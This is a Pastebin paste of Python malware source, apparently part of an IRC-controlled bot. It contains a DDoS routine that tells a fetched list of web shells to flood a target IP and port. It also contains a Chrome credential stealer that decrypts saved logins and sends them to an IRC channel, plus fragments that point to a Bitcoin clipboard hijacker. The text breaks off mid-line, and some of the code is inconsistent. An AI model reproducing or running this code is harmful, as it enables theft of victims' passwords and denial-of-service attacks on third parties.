Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- def gethash(code):
- m = sha256()
- m.update(code)
- return m.hexdigest()
- def fire(host,ip,seconds,port):
- try:
- reply = urllib.urlopen(host).read()
- if 'engine' in reply:
- urlopen(host+"?act=engine&host="+ip+"&time="+seconds+"&port="+port).read()
- else:
- urlopen(host+"?act=phptools&host="+ip+"&time="+seconds+"&port="+port).read()
- except:
- pass
- def shellBoot(time, threads, ip, port, shellist):
- hosts = urlopen(shellist).read().split()
- for host in hosts:
- for x in range(0,threads):
- while 1:
- worked=False
- try:
- start_new_thread(fire,(host,ip,time,port))
- worked=True
- except:
- pass
- if worked == True:
- break
- def ChromeStealer(s, ircChannel, ircChannelkeyword):
- # Connect to the Database
- XP=False
- if release() == "XP":
- XP=True
- Chrome=False
- Files = []
- if XP == True:
- if path.isdir(getenv("USERPROFILE")+"\\Local Settings\\Application Data\\Google\\Chrome\\User Data"):
- for lol in listdir(getenv("USERPROFILE")+"\\Local Settings\\Application Data\\Google\\Chrome\\User Data"):
- if path.isfile(getenv("USERPROFILE")+"\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\"+lol+"\\Login Data"):
- Files.append(getenv("USERPROFILE")+"\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\"+lol+"\\Login Data")
- Chrome=True
- else:
- if path.isdir(getenv("APPDATA")+"\\..\\Local\\Google\\Chrome\\User Data\\"):
- for lol in listdir(getenv("APPDATA")+"\\..\\Local\\Google\\Chrome\\User Data\\"):
- if path.isfile(getenv("APPDATA")+"\\..\\Local\\Google\\Chrome\\User Data\\"+lol+"\\Login Data"):
- Files.append(getenv("APPDATA")+"\\..\\Local\\Google\\Chrome\\User Data\\"+lol+"\\Login Data")
- Chrome=True
- if Chrome == True:
- s.send("PRIVMSG "+ircChannel+" :Chrome found. Recovering logins for all users in format USER:PASSWORD:URL.\r\n")
- else:
- s.send("PRIVMSG "+ircChannel+" :Chrome not found. Unable to recover logins.\r\n")
- for theFile in Files:
- try:
- num=0
- conn = sqlite3.connect(theFile)
- cursor = conn.cursor()
- # Get the results
- cursor.execute('SELECT action_url, username_value, password_value FROM logins')
- for result in cursor.fetchall():
- # Decrypt the Password
- password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
- if password:
- num=num+1
- output = result[1]
- if not output == "":
- output = output + ":"
- if not password == "":
- output = output + password + ":"
- if not result[0] == "":
- output = output + result[0]
- if (keyword.lower() == "all") or (keyword in output):
- s.send("PRIVMSG "+ircChannel+" :"+output+"\r\n")
- if num > 0:
- s.send("PRIVMSG "+ircChannel+" :Finished recovering Chrome logins.\r\n")
- else:
- s.send("PRIVMSG "+ircChannel+" :Error: No logins in Chrome installation.\r\n")
- except:
- pass
- clipcoinaddress=""
- clipcoinAddress=""
- class BCAddressField(forms.CharField):
- default_error_messages = {
- 'invalid': 'Invalid Bitcoin address.',
- }
- def __init__(self, *args, **kwargs):
- super(BCAddressField, self).__init__(*args, **kwargs)
- def clean(self, value):
- value = value.strip()
- if match(r"[a-zA-Z1-9]{27,35}$", value) is None:
- raise ValidationError(self.error_messages['invalid'])
- version = get_bcaddress_version(value)
- if version is None:
- raise ValidationError(s
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement